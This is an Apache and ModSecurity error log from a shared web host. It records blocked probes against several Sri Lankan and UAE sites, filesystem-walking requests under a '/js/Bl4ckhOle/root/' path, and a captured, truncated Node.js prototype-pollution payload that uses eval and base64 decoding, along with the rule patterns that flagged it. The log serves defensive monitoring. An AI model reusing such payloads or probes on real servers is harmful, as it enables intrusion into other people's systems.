[Fri Jul 17 08:48:47.966291 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:48.056720 2026] [security2:error] [pid 2013829:tid 2013829] [client 38.103.170.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylondigest.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "almfFg7FYe46zHK_jL3OowAAABk"]
[Fri Jul 17 08:48:48.782648 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:48.787624 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:46710] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:48.788989 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:49.716524 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:49.981228 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:50.060713 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:50.682274 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:50.701249 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:51.092113 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:46794] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:51.351015 2026] [ssl:error] [pid 1993619:tid 1993619] (5)Input/output error: [client 66.85.158.91:58212] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:54.795211 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:58382] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:57.790390 2026] [security2:error] [pid 2023579:tid 2023579] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almfIOYpb_TFRze2EO3ybQAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1220&page_105=2192
[Fri Jul 17 08:48:57.790562 2026] [security2:error] [pid 2023579:tid 2023579] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almfIOYpb_TFRze2EO3ybQAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1220&page_105=2192
[Fri Jul 17 08:48:59.503420 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/admin/assets/css/"] [unique_id "almfI7EWOaI5pmYo9fnN_AAAAAA"]
[Fri Jul 17 08:48:59.503772 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/admin/assets/css/"] [unique_id "almfI7EWOaI5pmYo9fnN_AAAAAA"]
[Fri Jul 17 08:48:59.575555 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/admin/assets/css/"] [unique_id "almfI7EWOaI5pmYo9fnN_AAAAAA"]
[Fri Jul 17 08:49:01.157217 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:01.173185 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:01.989902 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:03.546819 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.7:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory18/node0/memory132/node0/memory42/power/"] [unique_id "almfJ90t9Kb_MdNxrg7BXAAAAAM"]
[Fri Jul 17 08:49:03.546862 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.7:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory18/node0/memory132/node0/memory42/power/"] [unique_id "almfJ90t9Kb_MdNxrg7BXAAAAAM"]
[Fri Jul 17 08:49:03.684502 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:03.684615 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:04.119981 2026] [security2:error] [pid 2018758:tid 2018758] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almfDIRpm5MObcED3Q9r5QAAABE"]
[Fri Jul 17 08:49:04.120021 2026] [security2:error] [pid 2018758:tid 2018758] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almfDIRpm5MObcED3Q9r5QAAABE"]
[Fri Jul 17 08:49:06.145764 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:07.216595 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:07.276205 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:07.830936 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:07.937534 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 47.82.52.171:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:21/subsystem/uevent
[Fri Jul 17 08:49:10.123873 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:10.142396 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:10.479412 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:43558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:12.738689 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:12.937862 2026] [proxy_fcgi:error] [pid 2018758:tid 2018758] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:13.134942 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:13.341095 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:13.438897 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:13.538240 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:13.540637 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:13.740351 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:13.940468 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:14.141331 2026] [proxy_fcgi:error] [pid 2023579:tid 2023579] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:14.339218 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:14.540187 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:14.741485 2026] [proxy_fcgi:error] [pid 2018767:tid 2018767] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:14.945136 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:15.142629 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:15.344576 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:15.546150 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:15.643742 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:59146] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:15.745006 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:15.870390 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:15.919248 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:15.944898 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:16.076377 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:59172] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:16.142554 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:16.340273 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:16.537108 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:16.741058 2026] [proxy_fcgi:error] [pid 2018770:tid 2018770] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:49:18.173154 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:20.411553 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:20.784245 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:59356] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:21.547994 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:39548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:22.192994 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfOnRlmrtCoY_COpclCwAAAAg"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:49:22.193057 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfOnRlmrtCoY_COpclCwAAAAg"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:49:23.084959 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:39614] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:23.923517 2026] [ssl:error] [pid 2018768:tid 2018768] (5)Input/output error: [client 66.85.158.91:39652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:24.826975 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:39690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:27.185224 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:39792] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:27.681712 2026] [security2:error] [pid 2023579:tid 2023579] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/cxpm"] [unique_id "almfP-Ypb_TFRze2EO3yegAAAAE"]
[Fri Jul 17 08:49:27.682135 2026] [security2:error] [pid 2023579:tid 2023579] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/cxpm"] [unique_id "almfP-Ypb_TFRze2EO3yegAAAAE"]
[Fri Jul 17 08:49:27.682540 2026] [security2:error] [pid 2023579:tid 2023579] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/cxpm"] [unique_id "almfP-Ypb_TFRze2EO3yegAAAAE"]
[Fri Jul 17 08:49:28.885437 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfQEgVnBK6wAv37w6rTQAAABQ"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:49:28.885494 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfQEgVnBK6wAv37w6rTQAAABQ"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:49:29.016155 2026] [security2:error] [pid 2018758:tid 2018758] [client 57.141.18.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory83/node0/memory21/node0/hugepages/"] [unique_id "almfQYRpm5MObcED3Q9r9AAAABE"]
[Fri Jul 17 08:49:29.016202 2026] [security2:error] [pid 2018758:tid 2018758] [client 57.141.18.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory83/node0/memory21/node0/hugepages/"] [unique_id "almfQYRpm5MObcED3Q9r9AAAABE"]
[Fri Jul 17 08:49:32.173343 2026] [core:error] [pid 2023579:tid 2023579] (13)Permission denied: [client 47.79.11.156:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-usr-share-vim.mount/memory.force_empty
[Fri Jul 17 08:49:33.561739 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:33.713141 2026] [cgi:error] [pid 2018768:tid 2018768] [client 155.133.27.45:0] AH02812: stderr from /home/colourmarklabels/public_html/cgi-bin/: attempt to invoke directory as script
[Fri Jul 17 08:49:33.892782 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:34.300611 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:36.170623 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:37.521938 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:37668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:38.003137 2026] [security2:error] [pid 2018741:tid 2018741] [client 47.79.11.200:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/gd.ini"] [unique_id "almfSroj0IkvhSCYadmA0QAAAAQ"]
[Fri Jul 17 08:49:38.003937 2026] [security2:error] [pid 2018741:tid 2018741] [client 47.79.11.200:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/gd.ini"] [unique_id "almfSroj0IkvhSCYadmA0QAAAAQ"]
[Fri Jul 17 08:49:38.036298 2026] [security2:error] [pid 2018741:tid 2018741] [client 47.79.11.200:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/gd.ini"] [unique_id "almfSroj0IkvhSCYadmA0QAAAAQ"]
[Fri Jul 17 08:49:38.656268 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.122.16.212:0] ModSecurity: Rule 55dbd8a44e30 [id "933210"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "503"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "epid.gov.lk"] [uri "/"] [unique_id "almfShAi3pC6yjXGNq1_rgAAAAU"], referer: https://epid.gov.lk/
[Fri Jul 17 08:49:38.656442 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.122.16.212:0] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22reason\\x22:-1,\\x22x_a2e971a5\\x22:\\x22init\\x22,\\x22ns_83a55e91\\x22:\\x22pending\\x22,\\x22_4acaace0\\x22:0.0,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var bq=arguments[0x1];var ihu=bq;try{var _v=((0,eval)(global[String.fromCharCode(66,117,102,102,101,114)].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-mul [hostname "epid.gov.lk"] [uri "/"] [unique_id "almfShAi3pC6yjXGNq1_rgAAAAU"], referer: https://epid.gov.lk/
[Fri Jul 17 08:49:38.656590 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.122.16.212:0] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22reason\\x22:-1,\\x22x_a2e971a5\\x22:\\x22init\\x22,\\x22ns_83a55e91\\x22:\\x22pending\\x22,\\x22_4acaace0\\x22:0.0,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var bq=arguments[0x1];var ihu=bq;try{var _v=((0,eval)(global[String.fromCharCode(66,117,102,102,101,114)].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-mul [hostname "epid.gov.lk"] [uri "/"] [unique_id "almfShAi3pC6yjXGNq1_rgAAAAU"], referer: https://epid.gov.lk/
